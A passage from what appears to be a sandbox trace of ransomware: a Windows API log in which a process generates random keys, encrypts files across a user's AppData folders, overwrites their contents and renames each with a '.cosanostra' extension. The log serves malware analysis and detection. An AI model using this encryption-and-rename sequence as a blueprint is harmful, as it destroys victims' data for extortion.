lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.077] WriteFile (in: hFile=0x174, lpBuffer=0x2fd0090*, nNumberOfBytesToWrite=0x1200, lpNumberOfBytesWritten=0x28df7ec, lpOverlapped=0x0 | out: lpBuffer=0x2fd0090*, lpNumberOfBytesWritten=0x28df7ec*=0x1200, lpOverlapped=0x0) returned 1 [0088.078] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.078] WriteFile (in: hFile=0x174, lpBuffer=0x28df82c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df7ec, lpOverlapped=0x0 | out: lpBuffer=0x28df82c*, lpNumberOfBytesWritten=0x28df7ec*=0x4, lpOverlapped=0x0) returned 1 [0088.078] WriteFile (in: hFile=0x174, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df7ec, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x28df7ec*=0x30, lpOverlapped=0x0) returned 1 [0088.078] CloseHandle (hObject=0x174) returned 1 [0088.078] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\{4BD650F0-C8F9-11E7-B5BF-C43DC7584A00}.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active\\{4bd650f0-c8f9-11e7-b5bf-c43dc7584a00}.dat"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\{4BD650F0-C8F9-11E7-B5BF-C43DC7584A00}.dat.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active\\{4bd650f0-c8f9-11e7-b5bf-c43dc7584a00}.dat.cosanostra")) returned 1 [0088.079] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df828 | out: pbBuffer=0x28df828) returned 1 [0088.079] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x28df820*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x28df820*=0x30) returned 1 [0088.079] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\web slice gallery~.feed-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0088.088] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms") returned 141 [0088.088] StrStrW (lpFirst="Web Slice Gallery~.feed-ms", lpSrch=".txt") returned 0x0 [0088.097] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.097] WriteFile (in: hFile=0x16c, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df7e4, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x28df7e4*=0x2800, lpOverlapped=0x0) returned 1 [0088.097] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.098] WriteFile (in: hFile=0x16c, lpBuffer=0x28df824*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df7e4, lpOverlapped=0x0 | out: lpBuffer=0x28df824*, lpNumberOfBytesWritten=0x28df7e4*=0x4, lpOverlapped=0x0) returned 1 [0088.098] WriteFile (in: hFile=0x16c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df7e4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x28df7e4*=0x30, lpOverlapped=0x0) returned 1 [0088.098] CloseHandle (hObject=0x16c) returned 1 [0088.098] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\web slice gallery~.feed-ms"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\web slice gallery~.feed-ms.cosanostra")) returned 1 [0088.101] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df820 | out: pbBuffer=0x28df820) returned 1 [0088.101] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x28df818*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x28df818*=0x30) returned 1 [0088.101] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\12_all_video.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0088.102] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl") returned 117 [0088.102] StrStrW (lpFirst="12_All_Video.wpl", lpSrch=".txt") returned 0x0 [0088.103] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xfffffbc9, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.103] WriteFile (in: hFile=0x16c, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x437, lpNumberOfBytesWritten=0x28df7dc, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x28df7dc*=0x437, lpOverlapped=0x0) returned 1 [0088.104] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.104] WriteFile (in: hFile=0x16c, lpBuffer=0x28df81c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df7dc, lpOverlapped=0x0 | out: lpBuffer=0x28df81c*, lpNumberOfBytesWritten=0x28df7dc*=0x4, lpOverlapped=0x0) returned 1 [0088.104] WriteFile (in: hFile=0x16c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df7dc, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x28df7dc*=0x30, lpOverlapped=0x0) returned 1 [0088.104] CloseHandle (hObject=0x16c) returned 1 [0088.104] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\12_all_video.wpl"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\12_all_video.wpl.cosanostra")) returned 1 [0088.104] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df818 | out: pbBuffer=0x28df818) returned 1 [0088.105] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x28df810*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x28df810*=0x30) returned 1 [0088.105] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\11_all_pictures.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0088.105] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl") returned 120 [0088.105] StrStrW (lpFirst="11_All_Pictures.wpl", lpSrch=".txt") returned 0x0 [0088.106] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xfffffdb7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.106] WriteFile (in: hFile=0x16c, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x249, lpNumberOfBytesWritten=0x28df7d4, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x28df7d4*=0x249, lpOverlapped=0x0) returned 1 [0088.107] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.107] WriteFile (in: hFile=0x16c, lpBuffer=0x28df814*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df7d4, lpOverlapped=0x0 | out: lpBuffer=0x28df814*, lpNumberOfBytesWritten=0x28df7d4*=0x4, lpOverlapped=0x0) returned 1 [0088.107] WriteFile (in: hFile=0x16c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df7d4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x28df7d4*=0x30, lpOverlapped=0x0) returned 1 [0088.107] CloseHandle (hObject=0x16c) returned 1 [0088.107] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\11_all_pictures.wpl"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\11_all_pictures.wpl.cosanostra")) returned 1 [0088.107] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df818 | out: pbBuffer=0x28df818) returned 1 [0088.108] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x28df810*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x28df810*=0x30) returned 1 [0088.108] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\10_all_music.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0088.108] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl") returned 117 [0088.108] StrStrW (lpFirst="10_All_Music.wpl", lpSrch=".txt") returned 0x0 [0088.110] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xfffffbd9, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.110] WriteFile (in: hFile=0x16c, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x427, lpNumberOfBytesWritten=0x28df7d4, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x28df7d4*=0x427, lpOverlapped=0x0) returned 1 [0088.110] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.110] WriteFile (in: hFile=0x16c, lpBuffer=0x28df814*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df7d4, lpOverlapped=0x0 | out: lpBuffer=0x28df814*, lpNumberOfBytesWritten=0x28df7d4*=0x4, lpOverlapped=0x0) returned 1 [0088.110] WriteFile (in: hFile=0x16c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df7d4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x28df7d4*=0x30, lpOverlapped=0x0) returned 1 [0088.110] CloseHandle (hObject=0x16c) returned 1 [0088.111] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\10_all_music.wpl"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\10_all_music.wpl.cosanostra")) returned 1 [0088.111] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df810 | out: pbBuffer=0x28df810) returned 1 [0088.111] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x28df808*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x28df808*=0x30) returned 1 [0088.111] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\09_music_played_the_most.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0088.111] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl") returned 129 [0088.112] StrStrW (lpFirst="09_Music_played_the_most.wpl", lpSrch=".txt") returned 0x0 [0088.136] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xfffffbff, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.137] WriteFile (in: hFile=0x16c, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x401, lpNumberOfBytesWritten=0x28df7cc, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x28df7cc*=0x401, lpOverlapped=0x0) returned 1 [0088.137] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.137] WriteFile (in: hFile=0x16c, lpBuffer=0x28df80c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df7cc, lpOverlapped=0x0 | out: lpBuffer=0x28df80c*, lpNumberOfBytesWritten=0x28df7cc*=0x4, lpOverlapped=0x0) returned 1 [0088.138] WriteFile (in: hFile=0x16c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df7cc, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x28df7cc*=0x30, lpOverlapped=0x0) returned 1 [0088.138] CloseHandle (hObject=0x16c) returned 1 [0088.138] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\09_music_played_the_most.wpl"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\09_music_played_the_most.wpl.cosanostra")) returned 1 [0088.143] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df810 | out: pbBuffer=0x28df810) returned 1 [0088.143] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x28df808*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x28df808*=0x30) returned 1 [0088.143] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\RoamCache\\Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\outlook\\roamcache\\stream_contactprefs_2_f230e11936b7d740a008ffc660e83c71.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0088.172] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\RoamCache\\Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat") returned 134 [0088.172] StrStrW (lpFirst="Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat", lpSrch=".txt") returned 0x0 [0088.174] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xfffffefc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.175] WriteFile (in: hFile=0x190, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x28df7cc, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x28df7cc*=0x104, lpOverlapped=0x0) returned 1 [0088.175] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.175] WriteFile (in: hFile=0x190, lpBuffer=0x28df80c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df7cc, lpOverlapped=0x0 | out: lpBuffer=0x28df80c*, lpNumberOfBytesWritten=0x28df7cc*=0x4, lpOverlapped=0x0) returned 1 [0088.175] WriteFile (in: hFile=0x190, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df7cc, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x28df7cc*=0x30, lpOverlapped=0x0) returned 1 [0088.175] CloseHandle (hObject=0x190) returned 1 [0088.175] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\RoamCache\\Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\outlook\\roamcache\\stream_contactprefs_2_f230e11936b7d740a008ffc660e83c71.dat"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\RoamCache\\Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\outlook\\roamcache\\stream_contactprefs_2_f230e11936b7d740a008ffc660e83c71.dat.cosanostra")) returned 1 [0088.394] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df800 | out: pbBuffer=0x28df800) returned 1 [0088.394] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x28df7f8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x28df7f8*=0x30) returned 1 [0088.394] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows media\\12.0\\wmsdkns.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0088.405] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML") returned 88 [0088.405] StrStrW (lpFirst="WMSDKNS.XML", lpSrch=".txt") returned 0x0 [0088.461] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffd831, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.461] WriteFile (in: hFile=0x154, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x27cf, lpNumberOfBytesWritten=0x28df7bc, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x28df7bc*=0x27cf, lpOverlapped=0x0) returned 1 [0088.462] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.462] WriteFile (in: hFile=0x154, lpBuffer=0x28df7fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df7bc, lpOverlapped=0x0 | out: lpBuffer=0x28df7fc*, lpNumberOfBytesWritten=0x28df7bc*=0x4, lpOverlapped=0x0) returned 1 [0088.462] WriteFile (in: hFile=0x154, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df7bc, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x28df7bc*=0x30, lpOverlapped=0x0) returned 1 [0088.462] CloseHandle (hObject=0x154) returned 1 [0088.462] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows media\\12.0\\wmsdkns.xml"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows media\\12.0\\wmsdkns.xml.cosanostra")) returned 1 [0088.539] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df800 | out: pbBuffer=0x28df800) returned 1 [0088.539] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x28df7f8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x28df7f8*=0x30) returned 1 [0088.539] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0088.646] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg") returned 93 [0088.646] StrStrW (lpFirst="Peacock.jpg", lpSrch=".txt") returned 0x0 [0088.674] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffec05, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.674] WriteFile (in: hFile=0x180, lpBuffer=0x2b8870*, nNumberOfBytesToWrite=0x13fb, lpNumberOfBytesWritten=0x28df7bc, lpOverlapped=0x0 | out: lpBuffer=0x2b8870*, lpNumberOfBytesWritten=0x28df7bc*=0x13fb, lpOverlapped=0x0) returned 1 [0088.674] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.674] WriteFile (in: hFile=0x180, lpBuffer=0x28df7fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df7bc, lpOverlapped=0x0 | out: lpBuffer=0x28df7fc*, lpNumberOfBytesWritten=0x28df7bc*=0x4, lpOverlapped=0x0) returned 1 [0088.674] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df7bc, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x28df7bc*=0x30, lpOverlapped=0x0) returned 1 [0088.674] CloseHandle (hObject=0x180) returned 1 [0088.675] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.jpg"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.jpg.cosanostra")) returned 1 [0088.808] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df7f0 | out: pbBuffer=0x28df7f0) returned 1 [0088.808] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x28df7e8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x28df7e8*=0x30) returned 1 [0088.808] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS 